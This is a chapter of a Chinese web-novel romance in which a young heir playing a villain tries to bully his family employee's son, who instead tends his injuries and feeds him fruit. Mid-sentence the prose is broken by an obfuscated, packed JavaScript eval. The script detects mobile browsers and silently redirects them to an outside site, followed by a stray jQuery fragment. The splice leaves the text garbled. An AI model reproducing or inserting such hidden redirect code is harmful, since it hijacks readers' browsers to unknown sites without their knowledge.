喻荼胡思乱想了会儿,还是没有结果,只得先放下来起身去洗澡,出来时正好有人敲了下门,随后是宋临的声音。
“方姨让我拿晩餐上来。”
想到门后的人,喻荼脚指头抠地。
宋临显然也想到这点,又道:“我放门口了。”
喻荼站着没应,听到宋临将餐盘放下后又等了会儿,确定没其他声音了才过去开门。
随即一怔。
餐盘是放地上了,但宋临没走。
他见喻荼开门了,又端起地上的餐盘,一脸什么事都没发生的表情说:“饭菜要冷了,进去吃。”
喻荼堵在门边,他也不管喻荼让不让,直接往里走。
人和人之间气场就是这样,此消彼长,喻荼被逼退了两步,门打开不大不小的缝隙,他只能眼睁睁看宋临堂而皇之地进来。
宋临将饭菜摆好,问他:“不过来吃?”
喻荼抓着门把手忍不住挠了挠,关上门,走到茶几前坐下,蔫头耷脑地拿起筷子。
宋临将纸巾放他手边时再次闻见了那股沐浴清香,很淡,随着湿热的水汽散开。
似是经历了下午的事,少年不再毫无防备,保守的睡衣遮住手臂和腿,喻家的衣服都是私人定制,这件睡衣也不例外,原本应该是扣子的地方设计成翻折交错的领。
微微敞开的领口露出两截锁骨来。
细看还能发现少年残存的羞涩。
微湿头发下通红的耳朵,以及气焰不再,闪闪躲躲的眼神。
宋临很难相信,有一天他会用“无害”“乖巧”“纯情”这类词来形容喻荼。
喻荼被看得炸毛,强装镇定道:“没事了你就出去。”
话落宋临就离开了。
喻荼舒了口气,端起水杯正要喝水,又听脚步声靠近,下秒一只手伸过来揉着他的头,喻荼吓得整个人往前缩,避开宋临的手才惊魂未定地问:“你干嘛?”
宋临示意手中的吹风筒:“吹头发。”
喻荼这下连饭都顾不上吃了,放下水杯远离他:“不用你吹,你出去,有事我叫你。”
宋临忽然笑了下:“面对受害者要有自觉,总不能让受害者自己来。”
喻荼被自己的话堵回来,竟无话可说。
片刻后。
喻荼坐在沙发上扬着脖子给宋临涂药。
不知怎么就变成这样了。
脖子冰冰凉凉的,倒是不怎么痛,主要是别扭,宋临离得很近,喻荼还不确定自己的病是怎么回事,不想再出一次丑,全身绷得紧紧的。
宋临朝涂药的地方吹了口气,喻荼突然一哆嗦,不等宋临开口先一步指责:“不准做多余的事!”
宋临看他脖颈敏感得起了一层鸡皮疙瘩,也没反驳,只涂药不做其他。
待涂好药后喻荼要走,宋临用没碰药的那只手攥住他脚踝,在喻荼不可置信的目光下说:“还没完。”
然后喻荼就这么被拉回去,生无可恋地看宋临卷起他裤脚开始给小腿上的淤青上药。
什么意思?抓到我把柄所以无所畏惧了?
喻荼感觉自己的恶毒属性在摇摇欲坠,定了定心神,他放下狠话:“别以为看到了你就能高枕无忧,别忘了,你爸还在我家工作。”
宋临停下动作,抬眼看他:“我看到什么了?”
这是挑衅!明晃晃的挑衅!
喻荼气得脸都红了,他脚还在宋临手里,于是抬脚就踹在他腹部,对方还没什么表情,喻荼先疼得泪眼汪汪,蜷着脚趾要收回来。
确定那是肚子不是石头吗?那么硬,硌得好疼。
宋临没计较这一脚,捏着他脚腕又拉回去上药:“别乱动。”
喻荼终于老实了。
他坐在沙发上单膝曲起,下巴搁在上面怀疑人生。
明明是我欺负人,为什么我会感觉到委屈呢?
好在宋临没呆多久,喻荼完饭他就端着盘子离开,晚上喻荼躺在床上复盘今天表现。
欺负宋临的任务达成,仍旧满分!
但是欺负过了点,总感觉今天的宋临有点奇怪,明天可以收敛点,只让他读检讨书好了。
第二天喻荼被敲门声吵醒,意识还在梦里,身体自行下床开门,他揉着眼睛抬头。
“吃早餐。”他端着早餐态度自然地进来。
喻荼打着哈欠,空空的肚子被香味迷住,眯瞪着眼跟在他身后,歪着脑袋探头看方姨做了什么。
宋临放下早餐去了浴室。
下秒,一只挤好的牙膏递到跟前。
喻荼迷糊的大脑终于开始运转。
他找到手机,解锁后翻昨晩的信息,略去乱七八糟找他的人,打开宋临的消息栏,最后一条还停留在“不来后果自负”的语音上。
喻荼不解:“我让你一大早过来帮我洗漱了?”
宋临将牙刷放他手上,推着人往浴室去:“路过厨房,方姨说早上有你喜欢的海鲜粥。”
喻荼回头,用“你会有这么好心?”的怀疑目光盯着宋临,他都将人欺负得差点动手,对方还会给他送早餐?
宋临面不改色补充:“你昨天没出过房间,我爸担心你,让我给你拿早餐顺便看看你。”
喻荼恍然,低头刷牙。
他就说嘛,宋临脑子又没坏,还上赶着往他这个恶人身边凑,原来是怕宋叔发现他身上的伤,担心他一个不开心告状啊。
于是喻荼心安理得地吃起早餐,宋临拿药走近时也没觉得有什么不对,坐好扬着脖子给他涂。
接下来宋临拿来休闲的水果和零食,将小说翻到昨天看的那页,朝他道:“是这章吗?昨晩睡觉前往后看了吗?”
“是这里。”喻荼刚准备躺下,突然觉得不对,一咕噜坐起来,“我又没说要看小说。”
宋临放下书:“你想做什么?”
嗯,不能出门,除了看小说还能做什么?
喻荼思考不到两秒,猛地反应过来。
不对不对,他想做什么不重要!重要的是,宋临这个态度,不对吧?
明明他有狠狠地奴役人,为什么对方一点没有被奴役的屈辱感呢?
喻荼有点憋得慌,思索问题到底出在哪。
突然嘴上一凉。
切成小块的金色芒果被递到嘴巴上,喻荼下意识张嘴咬住,吃完觉得不错,扬着眉毛吩咐:“再来一块。”
宋临弯了下唇,继续投喂。
吃到肚子撑起来,喻荼后知后觉,板起脸训人:“我又没说要吃水果,你不要擅自作主!”
宋临“嗯”了声,一边收拾空盘一边指着另一个水果盘问:“吃葡萄吗?这个品种没有籽,很甜。”
喻荼立马看过去,沾着水珠的紫色葡萄晶莹剔透,看上去十分诱人,他摸了下肚子:“吃不下了,我就尝一个。”
刚从农场摘下不久的葡萄饱满香甜,剥开的过程汁水溢出,宋临手指沾上不少。
他用皮裹着果肉递过去,果肉碰到喻荼嘴巴,汁液沾了上去,看着水润饱满。
喻荼下意识舔了下,舔到宋临手指也没发现,兀自开心地吃着葡萄。
宋临一怔,视野不自觉追随过去,就见那张嘴微微张开咬住葡萄,露出柔软的舌头和猩红的口腔内壁。
只有一瞬。
紧接着红润饱满的嘴唇小小张合着,像清晨沾着露水的红色花瓣,鲜艳娇嫩。
宋临下意识想到刚才的触感,几乎是瞬间就感到口干舌燥,喉结不自觉滚动。
喻荼吃得眉梢扬起,葡萄很甜,果肉水份很足,他刚才话说早了,一颗能占什么肚子,他觉得还可以多吃几颗。
刚要开口,突然停顿。
宋临额上起了细密的汗,脸有点红,更夸张的是脖子,那里像是过敏一样,潮红一片。
“很热——”
宋临突然起身,喻荼止住话头,抬头看他一言不发地将葡萄皮扔进果盘,端起吃剩的果盘往外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361731|183714||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走,眨眼就不见了。
“……吗?”喻荼不满地嘀咕着:“走那么快干嘛,我还没吃够呢。”
想到宋临的行为,他盘腿坐在沙发上,有些苦恼。
很奇怪啊,他今天只打算让宋临读检讨书,怎么就在对方的伺候吃起了早餐,还有涂药,这也就算了,怎么还吃上了水果,还挺好吃。
他明明没做什么,一切就自然发生了。
是不是宋临太过自作主张了?
*
一楼厨房里。
宋临放下果盘,单手撑在台面上,呼吸粗重地喘着,目光发直地看着微湿的手掌。
上面残留着黏稠的葡萄汁水。
以及,其他的什么。
湿热的,柔软的。
喉结不住地上下滚动,汗水直往外冒。
一股强烈的欲望猛地涌上心头,无名的热将身体的水份蒸发,口腔又干又燥,迫切得到缓解的念头达到最高点。
水龙头就在眼前,水流声哗啦啦泄出。
宋临却死死盯着食指。
他的血液在沸腾,汗珠大颗滚落,耳边是水声和血液轰隆隆滚过的声音,他却什么都听不到。
他憎恶欲望被人掌控的感觉,那种不能自控又无所遁形地暴露在光下的屈辱,他甚至因为那个人生出心理阴影。
他觉得自己疯了。
才会……才会……
宋临无法抵抗诱惑地张开嘴,头低了下去,脑海里浮现的却是喻荼吃葡萄的样子。
“哗啦!”
门被人拉开。
宋临陡然惊醒,慌乱地捧起水往脸上泼,手指在水流下冲刷着,热意被清凉带走,却留下了燥动和难堪。
“宋临在啊。”
方姨穿着做饭的工作服进来,从厨柜里取出食材准备午饭,看到宋临突然惊呼出声:“怎么出了这么多汗,哎这脸红得,是不是哪不舒服?”
宋临哑着嗓子低声道:“没事。”
方姨没作多想,看着果盘里几乎没怎么动的葡萄,个个都水灵灵的,道:“少爷不吃了?你偷偷拿回去,说是今天空运过来的,稀有品种呢,平常还吃不到。”
刚说完就见宋临将葡萄倒入垃圾桶,满脸水地离开。
方姨摇摇头:“这个年纪的孩子,自尊心比天大嘞。”
*
喻荼抱臂靠在沙发上,打定主意要让宋临念检讨书,但先来的是来信息的铃声。
这两天经常有人邀他出去,喻荼都没回。
他脖子上的伤太明显,没法见人,当然也有这些都是无关紧要的人,跟剧情没关系就不值得他花心思。
喻荼本来不打算理,一扫之下看到熟悉的名字。
陆韵,原主的未婚夫。
发来的是陆韵在国外接受采访的一段视频,里面陆韵戴金丝边眼镜,身着医生白大褂,全程用流利的英文交谈,对记者的发问侃侃而谈,一副精英成功人士的作派。
原主也才大一刚过完吧?
不过没关系,反正也会解除。
喻荼给发信息的人回了个:【?】
陈书:【你未婚夫不还在国外呢吗?怎么最近叫你都不出来,为他守洁啊?】
陈书:【出来玩啊,有几个样貌不错的型男,你肯定会喜欢。】
陈书:【怎么又不理我了?】
陈书:【[图],中间那个是你的菜,给你留着了。】
差点忘了这茬。
原主喜欢在外面花天酒地,狐朋狗友一大堆,也经常翘课出去玩,不然也不会给未婚夫带绿帽子。
按人设来看,他不可能不抓住暑假的尾巴出去浪,特别是喻振林和谢水兰都不在的时候。
喻荼摸着脖子,还是回:【去不了,下次吧。】
“去哪里?”
宋临不知道什么时候进来的,面色已经恢复正常,还换了身衣服。
他视线在信息界面略过,抬眼等着喻荼的回答。